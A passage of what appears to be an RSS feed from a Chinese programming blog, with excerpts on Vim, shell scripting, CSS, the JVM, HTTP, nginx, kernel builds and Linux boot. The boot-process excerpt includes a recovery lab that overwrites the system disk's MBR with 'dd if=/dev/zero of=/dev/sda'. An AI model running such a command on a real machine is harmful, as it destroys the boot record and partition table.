操作作用Esc退出输入模式，切换到命令模式字符按键以及Shift组合输入字符Enter回车键，换行Backspace退格键，删除光标前一个字符Delete删除键，删除光标后一个字符方向键在文本中移动光标HOME/END移动光标到行首/行尾Page Up/Page Down上/下翻页Insert切换光标为输入/替换模式，光标将变成竖线/下划线 1.3 底线命令模式 底线命令模式可用的命令非常多。按 ESC 键可随时退出底线命令模式。在底线命令模式中，常用的命令有（已经省略了冒号）： 命令作用:w保存文件。:q退出 Vim 编辑器。:wq保存文件并退出 Vim 编辑器。:q!</description>
    </item>
    <item>
      <title>【Linux Shell】1. Shell 简述</title>
      <link>https://bchobby.github.io/posts/5ca960b65f90726c97e6245652aa4b59/</link>
      <pubDate>Tue, 02 Jan 2024 21:55:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ca960b65f90726c97e6245652aa4b59/</guid>
      <description>文章目录 【 1. Shell 解释器、Shell语言、Shell脚本 】【 2. Shell 环境 】【 3. 一个简单的 Shell 脚本 】3.1 Shell 脚本的编写3.2 Shell 脚本的运行3.2.1 作为可执行程序运行 Shell 脚本3.2.2 作为解释器参数运行 Shell 脚本 【 1. Shell 解释器、Shell语言、Shell脚本 】 Shell 原本是一个应用程序，即 命令行解释器（如下所示），它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序，用户可以用 shell 来启动、挂起、停止甚至是编写一些程序。在 Shell 中可以直接调用Linux系统命令。&#xA;Shell 脚本是利用利用 Shell 的功能所写的一个程序 ，这个程序是使用纯文本文件，将一些 shell 的语法与指令(含外部指令)写在里面， 搭配正规表示法、管线命令与数据流重导向等功能，以达到我们所想要的处理目的。类似于 批处理文件，一次执行多个指令。不需要编译。Shell 语言是一个利用 C语言编写的程序，用于编写 Shell 脚本。 【 2. Shell 环境 】 Shell 编程跟 JavaScript、php 编程一样，只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。Linux 的 Shell 种类众多，常见的有： Bourne Shell（/usr/bin/sh或/bin/sh）、 Bourne Again Shell（/bin/bash）、C Shell（/usr/bin/csh）、K Shell（/usr/bin/ksh）、Shell for Root（/sbin/sh）…而 bash，也就是 Bourne Again Shell，由于易用和免费，Bash 在日常工作中被广泛使用。同时， Bash 也是大多数Linux 系统默认的 Shell 。在一般情况下，人们并不区分 Bourne Shell 和 Bourne Again Shell，所以，像 #!</description>
    </item>
    <item>
      <title>web前端之css、style</title>
      <link>https://bchobby.github.io/posts/5017db1cb0079d0077b4c85264719544/</link>
      <pubDate>Tue, 02 Jan 2024 21:44:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5017db1cb0079d0077b4c85264719544/</guid>
      <description>目录 web前端之纯css实现的加载、steps、calc web前端之纯css实现的加载、steps、calc style&#xA;/* -------平滑加载------- */ .smooth_loading { background: linear-gradient(#333333 0 0) 0 / 0% no-repeat #f5f5f5; animation: smooth_loading_animation 2s infinite linear; } @keyframes smooth_loading_animation { 100% { background-size: 100%; } } /* -------按步加载------- */ .step_by_step_loading { border-radius: 20px; background: linear-gradient(#ffa500 0 0) 0 / 0% no-repeat #f5f5f5; animation: step_by_step_loading_animation 2s infinite steps(10); } @keyframes step_by_step_loading_animation { 100% { background-size: 110%; } } /* -------条纹加载------- */ .stripe_loading { border-radius: 20px; background: repeating-linear-gradient(135deg, #f03355 0 10px, #ffa516 0 20px) 0 / 0% no-repeat, repeating-linear-gradient(135deg, #f5f5f5 0 10px, #eeeeee 0 20px) 0 / 100%; animation: stripe_loading_animation 2s infinite; } @keyframes stripe_loading_animation { 100% { background-size: 100%; } } /* -------虚线加载------- */ .</description>
    </item>
    <item>
      <title>比丝袜还丝滑！这个简历制作软件10大优势！</title>
      <link>https://bchobby.github.io/posts/f65de5a55d02424fc1ef566449063fb8/</link>
      <pubDate>Tue, 02 Jan 2024 21:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f65de5a55d02424fc1ef566449063fb8/</guid>
      <description>看过来！看过来！&#xA;简历软件这么多，作为求职者最需要的是什么呀！&#xA;✅ 丰富专业的简历模板 —— 漂亮且免费的简历模板谁能不爱！ ✅ 量身定制的简历内容——你没看错！只需要点点点就直接生成了一份量身定制的简历！ ✅ 一键优化HR想看到的信息——还不过瘾？一键优化！ ✅ 手把手教你怎么写简历——哪里不会点哪里！ ✅ 不撞衫——简历所有的设计都是可以您自己定制的，这还需要特别说明吗！ ✅ 简历分析——想让你成功入职，我们是认真的！ 专门为国内求职市场训练的 AI Agent，不跟你说套话，Offer导向&#xA;✅ 导出免费——不跟你玩套路，如果只是想写简历，不在导出拦着你！ ✅ 简历定制——天天说匹配岗位，我们不在嘴上说，直接跟你改！ ✅ 模拟面试、简历精修、一键一页、Notion式交互… 不需要你主动去了解功能，如果你在求职时遇到问题，就能在遇到问题时利用AI简历找到对应的解决方案，我们认为能帮到您成功求职的功能才是需要存在的功能！&#xA;✅ 开发团队听劝，用户第一优先级 遇到问题了，先退款，再人工帮忙制作/优化简历，无论您是否充值，所有用户的问题都是P0问题</description>
    </item>
    <item>
      <title>《JVM由浅入深学习【四】 2023-12-24》JVM由简入深学习提升分享</title>
      <link>https://bchobby.github.io/posts/183f2fd8d2d58f9fa826350690b24fd4/</link>
      <pubDate>Tue, 02 Jan 2024 21:22:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/183f2fd8d2d58f9fa826350690b24fd4/</guid>
      <description>JVM由简入深学习提升分享四 1.JVM中java堆的特点及作用2. JVM中对象如何在堆内存中分配3. JVM堆内存中的对象布局 1.JVM中java堆的特点及作用 是线程共享的一块区域虚拟机启动时就创建了是虚拟机中内存占用很大的一块存放所有的实例对象和数组GC主要的作用区域可分为新生代（刚创建）和老年代（存活很久）新生代更细化可分为Eden，From Survivor，To Survivor，比例为8:1:1&#xA;可以通过-Xms，-Xmx调节堆大小如果从分配内存的角度看，所有线程共享的 Java 堆中可以划分出多个线程私有的分配缓冲区 (Thread Local Allocation Buffer，TLAB) ，以提升对象分配时的效率无法在拓展：java.lang.OutOfMemoryError: Java heap space&#xA;例子：模拟OOM，设置JVM参数-Xmx128m -Xms128m，这里最大最小都设置128M，我的Customer里面有个bytes变量，一个就有1m，所以每个CUstomer都多于1M,所以运行程序customerList长度到达一定次数就OOM了&#xA;@Data public class Customer { private int no; private String username; private BigDecimal money; private byte[] a = new byte[1024 * 1024]; // 这里1024*1024byte等于1m } public class MyTestOOM { public static void main(String[] args) { List&amp;lt;Customer&amp;gt; customerList = new ArrayList&amp;lt;&amp;gt;(); while (true) { Customer customer = new Customer(); customer.</description>
    </item>
    <item>
      <title>JAVAEE初阶相关内容第二十弹--HTTP协议</title>
      <link>https://bchobby.github.io/posts/c591608f607c7c040ee22dbbb98859a5/</link>
      <pubDate>Tue, 02 Jan 2024 21:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c591608f607c7c040ee22dbbb98859a5/</guid>
      <description>写在前：2024年啦！新的一年要努力学习啦&#xA;本篇博客围绕HTTP协议，对HTTP协议进行了解，需要理解其工作过程，对HTTP协议格式要清楚，通过抓包工具进行协议分析，认识“方法”、“请求报头”，后续还会进一步对HTTP这部分内容继续更新。&#xA;目录 1. HTTP协议是什么&#xA;2. 理解HTTP协议的工作过程&#xA;3. HTTP协议格式&#xA;3.1 抓包工具的使用&#xA;3.2 抓包工具的原理&#xA;3.3 抓包结果&#xA;3.3.1 【请求】 Request&#xA;(1) 认识URL&#xA;(2) URL基本格式&#xA;3.3.2 【响应】&#xA;3.4 认识“方法”&#xA;3.4.1 GET方法&#xA;(1) 认识GET请求&#xA;(2) GET特点&#xA;3.4.2 POST方法&#xA;(1) 认识POST&#xA;(2) POST特点&#xA;3.4.3 其他方法&#xA;3.4.4 面试题--谈谈GET和POST的区别&#xA;3.5 认识请求“报头”(header)&#xA;3.5.1 Host&#xA;3.5.2 Content-Length&#xA;3.5.3Content-Type&#xA;3.5.4 User-Agent(UA)&#xA;3.5.5 Referer&#xA;3.5.6 Cookie&#xA;(1) Cookie从哪来&#xA;(2) Cookie在哪存&#xA;(3) Cookie到哪去&#xA;1. HTTP协议是什么 超文本传输协议，属于应用层协议。&#xA;HTTP往往是基于传输层的TCP协议实现的（HTTP1.0,HTTP1.1,HTTP2.0均为TCP，HTTP3基于UDP实现），我们平时打开一个网站，就是通过HTTP协议来传输数据的。目前我们使用的还是HTTP1.1。&#xA;当我们在浏览器中输入一个网址（URL）时，浏览器就会给服务器发送一个HTTP请求，服务器返回一个HTTP响应。这个响应结果被浏览器解析后，就展示成了我们看到的页面内容。所谓“超文本”，就是传输的内容不仅仅时文本（比如html、css这个就是文本），还可以时一些其他的资源，比如图片、视频、音频等二进制的数据。&#xA;2. 理解HTTP协议的工作过程 当我们在浏览器中输入一个“网址”，此时浏览器就会给对应的服务器发送一个HTTP请求，对方服务器收到这个请求后，经过计算处理，就会返回一个HTTP响应。</description>
    </item>
    <item>
      <title>引导过程与服务控制</title>
      <link>https://bchobby.github.io/posts/9bc62a43bdb252e36034fead9d9e4f64/</link>
      <pubDate>Tue, 02 Jan 2024 21:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bc62a43bdb252e36034fead9d9e4f64/</guid>
      <description>一、开机启动的完整过程 bios加电自检测-------mbr------grub----------加载内核文件------------启动第一个进程&#xA;简述：加电后bios程序会自检硬件，硬件无故障，会根据第一启动项去找内核，一般来说，第一启动项是硬盘，找到硬盘后，会根据mbr的指引找到完整的grub程序，再根据grub的配置文件找到内核文件的具体位置，然后将内核文件加载到内存中运行，内存加载好后，会启动第一个程序。&#xA;bios作用：检测硬件是否正常，然后根据biso中的启动项设置，去找内核文件&#xA;boot：开机启动顺序(你可以把内核文件放在何处？)&#xA;1.硬盘&#xA;2.移动设备(u盘移动硬盘，光驱)&#xA;3.网络启动&#xA;mbr（二进制）：因为grub程序太大，第一个扇区存不下所有的grub程序，所以分为两部分，指引硬件找到内核文件&#xA;grub：根据grub配置文件（grub.cfg）中记录的位置，去找到内核文件（高级语言）&#xA;加载内核：把内核运行在内存中&#xA;启动进程：启动第一个祖宗进程&#xA;centos6：init&#xA;centos7：启动systemd&#xA;1.1区别 init：串行启动后续的程序，一个一个按顺序启动&#xA;systemd：并行启动程序，全部一起启动&#xA;1.2systemd systemd：是系统级的程序，代为管理系统上的程序&#xA;systemd：保姆级&#xA;yum以及rpm安装的软件可以直接使用systemctl去启动关闭，重启，开机自启等功能； 编译安装，不可以直接使用systemctl命令去管理程序，需要手写一个配置文件&#xA;systemd **unit（单元）--------描述一个软件的作用和基本信息**，systemd方便管理程序，将程序按照特定的功能分成了很多单元； 服务单元---写配置&#xA;systemctl get-default------查看默认运行级别&#xA;systemctl set-default------设置默认的级别&#xA;rpcbind：启动后，会监听111端口&#xA;1.3linux操作系统的运行级别 0：关机&#xA;1：单用户，类似于windows的急救模式&#xA;2：字符界面，少些功能 (nfs)&#xA;3：字符界面&#xA;4：字符界面，从来没用过&#xA;5：图形界面&#xA;6：重启&#xA;runlevel：查看当前运行级别&#xA;实验1：模拟破坏mbr和分区表，然后修复 1：新建一块硬盘&#xA;fdisk分区一下&#xA;格式化一下：&#xA;mkfs.xfs /dev/sdb1&#xA;挂载到mnt下：&#xA;mount /dev/sdb1 /mnt/&#xA;2：将备份文件备份到新盘&#xA;dd if=/dev/sda of=/mnt/mbr count=1 bs=512&#xA;进入mnt下：cd /mnt&#xA;3.模拟破坏：&#xA;dd if=/dev/zero of=/dev/sda count=1 bs=512&#xA;4.reboot-----重启一下&#xA;5.然后进入急救模式修复：3 2 1&#xA;6.mkdir bak</description>
    </item>
    <item>
      <title>侯捷C&#43;&#43; 2.0 新特性</title>
      <link>https://bchobby.github.io/posts/e5bc6c9569fd68d4928da99e9d4cda13/</link>
      <pubDate>Tue, 02 Jan 2024 21:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5bc6c9569fd68d4928da99e9d4cda13/</guid>
      <description>关键字 nullptr and std::nullptr_t auto 一致性初始化：Uniform Initialization 11之前，初始化方法包括：小括号、大括号、赋值号，这让人困惑。基于这个原因，给他来个统一，即，任何初始化都能够使用大括号来实现。实现的方法使用另外一个新特性：初始化列表。下一个特性介绍。&#xA;// 11之前 Rect r1 = {3, 7, 30}; Rect r2(3, 7, 20); int ia[6] = {27, 89, 20}; // 11之后 int values[] {1, 2, 3}; vector&amp;lt;int&amp;gt; v {1, 2, 3}; complex&amp;lt;double&amp;gt; c {4.0, 3.0}; 初始化列表：Initializer Lists ERROR：narrowing 不允许窄化的转换 前面的一致性初始化中的大括号会形成一个初始化列表。具体实现代码如下：&#xA;explicit struct complex{ int real, imag; // explicit complex(int re, int im = 0) : real(re), imag(im){} complex operator+(const complex&amp;amp; x){ return complex((real + x.</description>
    </item>
    <item>
      <title>在javascript环境实现web多标签页</title>
      <link>https://bchobby.github.io/posts/96cf01352d6c51cef61314ef74a96328/</link>
      <pubDate>Tue, 02 Jan 2024 20:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96cf01352d6c51cef61314ef74a96328/</guid>
      <description>JavaScript（简称“JS”）是一种具有函数优先的轻量级，解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名，但是它也被用到了很多非浏览器环境中，JavaScript基于原型编程、多范式的动态脚本语言，并且支持面向对象、命令式、声明式、函数式编程范式。&#xA;本文是利用javascript脚本来实现网页中的多标签页功能。本例一共有1个主页面，6个标签页面，1个js脚本文件，1个CSS层叠式样式表文件。来实现多标签页功能，当选择某一个标签时，显示不同的标签页文件。&#xA;主页面文件(index.html):&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;选项卡&amp;lt;/title&amp;gt; &amp;lt;link href=&#34;style.css&#34; type=&#34;text/css&#34; rel=&#34;stylesheet&#34;/&amp;gt; &amp;lt;script src=&#34;javascript.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;topDiv&#34;&amp;gt; &amp;lt;div class=&#34;btn&#34;&amp;gt; &amp;lt;input class=&#34;active&#34; type=&#34;button&#34; name=&#34;page1.html&#34; value=&#34;页面1&#34; index=&#34;0&#34; /&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input class=&#34;inactive&#34; type=&#34;button&#34; name=&#34;page2.html&#34; value=&#34;页面2&#34; index=&#34;1&#34;/&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input class=&#34;inactive&#34; type=&#34;button&#34; name=&#34;page3.html&#34; value=&#34;页面3&#34; index=&#34;2&#34; /&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input class=&#34;inactive&#34; type=&#34;button&#34; name=&#34;page4.html&#34; value=&#34;页面4&#34; index=&#34;3&#34; /&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input class=&#34;inactive&#34; type=&#34;button&#34; name=&#34;page5.html&#34; value=&#34;页面5&#34; index=&#34;4&#34; /&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input class=&#34;inactive&#34; type=&#34;button&#34; name=&#34;page6.html&#34; value=&#34;页面6&#34; index=&#34;5&#34; /&amp;gt;&amp;lt;br&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>对html骨架的详细解释</title>
      <link>https://bchobby.github.io/posts/24aa0614229ebfd7f5d75390c49de354/</link>
      <pubDate>Tue, 02 Jan 2024 20:36:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24aa0614229ebfd7f5d75390c49de354/</guid>
      <description> html的骨架结构&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;!DOCTYPE html&amp;gt;&#xA;文档声明 告诉浏览器我们写的代码是按照html文档类型来写的，浏览器在编译代码时，也要按照html规范来编译，防止出现怪异模式&#xA;&amp;lt;html lang=&#34;en&#34;&amp;gt;&amp;lt;/html&amp;gt;&#xA;html根标签，一个页面就一个根标签 所有的内容都要写在根标签开始标签和结束标签中间，lang=&#34;en&#34;向搜索引擎表示语言为英文的网站&#xA;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;head标签 帮助浏览器编译代码，里面的内容，用户一般看不到&#xA;&amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt;&#xA;编码类型为万国码&#xA;&amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt;&#xA;与移动端的适配相关&#xA;&amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;&#xA;网站的标题,可以帮助推广部门进行网站推广，非常重要，一般具体内容都是推广部门来定的&#xA;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&#xA;body标签 是书写网页主体内容，用户看到的所有内容文字，图片，音视频等等都写在body&#xA;&amp;lt;!-- 文档声明 告诉浏览器我们写的代码是按照html文档类型来写的 浏览器在编译代码时，也要按照html规范来编译，防止出现怪异模式--&amp;gt; &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;!--html根标签，一个页面就一个根标签 所有的内容都要写在根标签 开始标签和结束标签中间，lang=&#34;en&#34;向搜索引擎表示语言为英文的网站--&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;!-- head标签 帮助浏览器编译代码，里面的内容，用户一般看不到 --&amp;gt; &amp;lt;head&amp;gt; &amp;lt;!--编码类型为万国码--&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;!--与移动端的适配相关--&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;!--网站的标题,可以帮助推广部门进行网站推广，非常重要，一般具体内容都是推广部门来定的--&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;!-- body标签 是书写网页主体内容，用户看到的所有内容文字，图片，音视频等等都写在body--&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>ChatGPT在金融财务领域的10种应用方法</title>
      <link>https://bchobby.github.io/posts/c6b70b5fe2668d1be5de997514f2d777/</link>
      <pubDate>Tue, 02 Jan 2024 20:19:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6b70b5fe2668d1be5de997514f2d777/</guid>
      <description>1.生成报告 在金融领域中，最耗时的任务之一是报告生成。通过ChatGPT，您可以在一定程度上自动化这个过程。这款人工智能工具可以获取关于公司财务表现的结构化数据，并生成一份书面摘要，详细说明关键点、趋势和观察结果。这个功能在制作定期报告，如季度收益摘要，方面特别有用。&#xA;我希望你使用附加的结构化财务数据生成一份详细的报告。这份报告应包括对关键绩效指标的分析，趋势的识别，以及关于我们公司上个季度财务表现的观察。&#xA;2. 分析文本数据 财务数据不仅仅是数字。文本信息，如新闻文章、分析报告和社交媒体帖子，通常蕴含有价值的见解。&#xA;ChatGPT可以分析这些文本数据，并提取对财务决策有用的见解。例如，它可以评估市场对特定公司或行业的情绪，提供对财务格局更全面的视角。&#xA;我有一批与科技行业相关的新闻文章和财务报告。你能分析这些文本并提取表明整体市场对这个行业情绪的见解吗？&#xA;3. 问答系统 您可以利用ChatGPT构建一个用于财务数据的问答系统。您可以向它提问问题，比如“上个季度总收入是多少？”或者“运营费用的趋势是什么？”它可以基于其训练数据生成响应，提供快速而准确的见解。&#xA;我有一个包含ABC公司财务数据的数据集。基于这些数据，你能回答以下问题吗：上个季度总收入是多少？在过去一年中运营费用有什么明显的趋势吗？&#xA;4. 交互式数据分析 ChatGPT的潜力不仅仅在于回答问题，它还可以帮助创建一个用于探索财务数据的交互式系统。您可以要求它执行特定的分析，请求可视化，或者询问各种指标，并且它会基于其访问的数据作出响应。&#xA;我有两家公司的财务数据，XYZ 公司和QRS 公司。你能执行一项比较这两家公司过去五年中营收表现的分析吗？同时，建议一些能有效说明这种比较的可视化。&#xA;5. 制作投资摘要 ChatGPT能够消化大量关于各种投资选择的数据，并生成简明易懂的人类可读摘要。这个应用对于希望为客户提供易于理解的潜在投资信息的财务顾问特别有用。&#xA;我有关于几种投资选择的数据，包括股票、债券和交易所交易基金。你能为每种投资生成简要的人类可读摘要吗，突显关键特征和绩效指标？&#xA;6. 生成财经新闻简报 通过分析财经新闻、股市走势、市场趋势和经济指标，ChatGPT能够生成提供对金融世界快速洞察的简报。这个功能对于需要随时了解市场状况和变化的交易员和投资者尤其有价值。&#xA;基于最新的财经新闻文章、股市数据和经济指标，你能生成一份简要摘要，提供对当前金融世界状况的见解吗？&#xA;7. 自动化客户互动 ChatGPT的能力扩展到构建复杂的聊天机器人，能够处理与客户财务数据相关的查询。在银行场景中，客户可以询问关于他们的账户余额、最近的交易或信用卡奖励的问题，并即时获得准确的回复。&#xA;想象一下你是银行的聊天机器人。如果一个客户问以下问题，你会如何回应：“我的当前账户余额是多少？”、“你能展示我最近的交易吗？”和“我当前信用卡上有多少积分？”&#xA;8. 预测叙述 虽然ChatGPT本身不执行预测性分析，但可以与预测模型一起使用，为预测的财务数据生成叙述。例如，如果一个预测模型预测公司下个季度的销售额将增长10%，ChatGPT可以生成以通俗语言解释这一预测的叙述，帮助非专业人士理解其影响。&#xA;我有一个预测模型的预测，表明DEF公司下个季度销售额将增长10%。你能生成一个以通俗语言解释这一预测的叙述吗？&#xA;9. 翻译财经术语 金融领域充满了对普通人难以理解的术语。ChatGPT可以将复杂的财经术语翻译成简单的语言，使财务数据对非专业利益相关者或普通公众更易理解，有助于弥合知识鸿沟。&#xA;示例提示：你能用通俗易懂的语言解释以下财经术语吗：“投资回报率”、“流动性”、“资本增值”和“多元化”？&#xA;10. 培训和模拟 ChatGPT的用途还扩展到培训场景。它可以根据财务数据提供响应或生成场景，对培训新分析师或模拟不同的财务情况进行战略开发尤为有用。这就像有一个全天候可用的虚拟教练。&#xA;你能生成一个涉及股市突然下跌的假设场景吗？然后，提供关于财务分析师如何应对这种情况的指导。&#xA;原文链接</description>
    </item>
    <item>
      <title>nginx反向代理走https</title>
      <link>https://bchobby.github.io/posts/def953ebac3fde7a2e56e63d834009a6/</link>
      <pubDate>Tue, 02 Jan 2024 20:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/def953ebac3fde7a2e56e63d834009a6/</guid>
      <description>cat nginx.conf&#xA;#user nobody;&#xA;worker_processes 1;&#xA;#error_log logs/error.log;&#xA;#error_log logs/error.log notice;&#xA;#error_log logs/error.log info;&#xA;events {&#xA;worker_connections 1024;&#xA;}&#xA;http {&#xA;include mime.types;&#xA;default_type application/octet-stream;&#xA;sendfile on;&#xA;keepalive_timeout 65;&#xA;server {&#xA;listen 80;&#xA;server_name hzou.i.sinotest.com;&#xA;location /test {&#xA;root html;&#xA;index index.html index.htm;&#xA;}&#xA;}&#xA;server {&#xA;listen 443 ssl;&#xA;server_name hzou.i.sinotest.com;&#xA;ssl_certificate keys/i.sinotest.com_bundle.crt;&#xA;ssl_certificate_key keys/i.sinotest.com.key;&#xA;ssl_protocols TLSv1 TLSv1.1 TLSv1.2;&#xA;ssl_session_timeout 5m;&#xA;ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;&#xA;ssl_prefer_server_ciphers on;&#xA;location /oms {</description>
    </item>
    <item>
      <title>linux 内核编译安装</title>
      <link>https://bchobby.github.io/posts/1e773175938a3ab3a059c1b38f7c9e0d/</link>
      <pubDate>Tue, 02 Jan 2024 19:58:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e773175938a3ab3a059c1b38f7c9e0d/</guid>
      <description>一、配置&#xA;默认配置&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- omap2plus_defconfig 原配置&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- oldconfig 重新配置&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- menuconfig 二 kernel zImage&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage 三 驱动模块&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- modules 四 devicetree&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- omap4-droid4-xt894.dtb 二三四可合并&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules omap4-droid4-xt894.dtb -j 8 git内核版本会有一段很长的后缀 .config&#xA;CONFIG_LOCALVERSION_AUTO=y 把y改成n，或删除这一行然后&#xA;make ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- oldconfig 这时后面只余个+号 如6.1.17+ 如果还想把+号去掉，重定义LOCALVERSION=&#xA;或修改scripts/setlocalversio&#xA;res=“ r e s res res{scm:++}”&#xA;也可以&#xA;make LOCALVERSION= ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- zImage modules omap4-droid4-xt894.</description>
    </item>
    <item>
      <title>如何使用JMeter测试https请求</title>
      <link>https://bchobby.github.io/posts/3e78a556ad82fa0c06a3eee428574020/</link>
      <pubDate>Tue, 02 Jan 2024 19:51:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e78a556ad82fa0c06a3eee428574020/</guid>
      <description>HTTP与HTTPS略有不同，所以第一次使用JMeter测试https请求时遇到了问题，百度一番后找到解决方法：加载证书。&#xA;下面内容主要记录这次操作，便于后续参考：&#xA;操作浏览器：谷歌&#xA;（1）下载被测网站证书，点击安全锁，选择​​​​​​安全证书&#xA;（2）查看证书的详细信息，显示所有后点击复制到文件&#xA;（3）依次下一步，选择DER 编码二进制X.509(.CER)&#xA;导出到指定路径，如D盘根目录（文件名以.cer结尾），如下图&#xA;（4）将已导出的证书打成.store格式的文件，使用 keytool -import -alias &#34;woqu.store&#34; -file &#34;D:\woqu.cer&#34; -keystore woqu.store命令&#xA;执行完后，输入是确定信任该证书&#xA;D盘根目录下显示已生成的.store文件&#xA;（5）将此证书导入JMeter：选项-SSL管理器，选择woqu.store确定导入&#xA;（6）导入成功后，再次运行登录请求时便可成功。&#xA;行动吧，在路上总比一直观望的要好，未来的你肯定会感谢现在拼搏的自己！如果想学习提升找不到资料，没人答疑解惑时，请及时加入群：1150305204 ，里面有各种测试开发资料和技术可以一起交流哦。</description>
    </item>
    <item>
      <title>机器学习与深度学习——使用paddle实现随机梯度下降算法SGD对波士顿房价数据进行线性回归和预测</title>
      <link>https://bchobby.github.io/posts/9dca247401600225f0c1817ad974513d/</link>
      <pubDate>Tue, 02 Jan 2024 19:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9dca247401600225f0c1817ad974513d/</guid>
      <description>文章目录 机器学习与深度学习——使用paddle实现随机梯度下降算法SGD对波士顿房价数据进行线性回归和预测一、任务二、流程三、完整代码四、代码解析五、效果截图 机器学习与深度学习——使用paddle实现随机梯度下降算法SGD对波士顿房价数据进行线性回归和预测 随机梯度下降（SGD）也称为增量梯度下降，是一种迭代方法，用于优化可微分目标函数。该方法通过在小批量数据上计算损失函数的梯度而迭代地更新权重与偏置项。SGD在高度非凸的损失表面上远远超越了朴素梯度下降法，这种简单的爬山法技术已经主导了现代的非凸优化。&#xA;一、任务 使用Paddle实现随机梯度下降（SGD）算法对波士顿房价数据进行线性回归的训练，给出每次迭代的权重、损失和梯度，并进行房价预测值与真实房价值对比。&#xA;二、流程 1、导入必要的库和模块：PaddlePaddle深度学习框架、numpy、os等常用的包和库。&#xA;2、读取数据并进行预处理。将数据进行归一化处理，将训练集和测试集划分为7:3的比例。&#xA;3、定义线性回归模型。自定义类 Regressor 继承自 paddle.nn.Layer ，初始化函数中定义了一个全连接层。该全连接层的输入维度为13，输出维度为1。&#xA;4、构建模型并训练。调用 Regressor() 函数生成模型，使用随机梯度下降法进行训练。。&#xA;5、模型预测。运用之前训练好的模型进行前向计算得到预测结果。&#xA;6、反归一化处理。进行反归一化处理，得到原始的房价估计值。&#xA;输出结果。将得到的预测结果和真实标签值进行比较，并输出预测房价的结果和真实房价结果。&#xA;三、完整代码 使用Paddle实现随机梯度下降（SGD）算法对波士顿房价数据进行线性回归的训练，给出每次迭代的权重、损失和梯度，并进行房价预测值与真实房价值对比。&#xA;#导入必要的包和库 import paddle from paddle.nn import Linear import paddle.nn.functional as F import numpy as np import os import random def load_data(): # 从文件导入数据 datafile = &#39;./work/housing.data&#39; data = np.fromfile(datafile, sep=&#39; &#39;, dtype=np.float32) # 每条数据包括14项，其中前面13项是影响因素，第14项是相应的房屋价格中位数 feature_names = [&#39;CRIM&#39;, &#39;ZN&#39;, &#39;INDUS&#39;, &#39;CHAS&#39;, &#39;NOX&#39;, &#39;RM&#39;, &#39;AGE&#39;, \ &#39;DIS&#39;, &#39;RAD&#39;, &#39;TAX&#39;, &#39;PTRATIO&#39;, &#39;B&#39;, &#39;LSTAT&#39;, &#39;MEDV&#39;] feature_num = len(feature_names) # 将原始数据进行Reshape，变成[N, 14]这样的形状 data = data.</description>
    </item>
    <item>
      <title>【每日试题】2024最新.net高级面试题！！！！！！！！！</title>
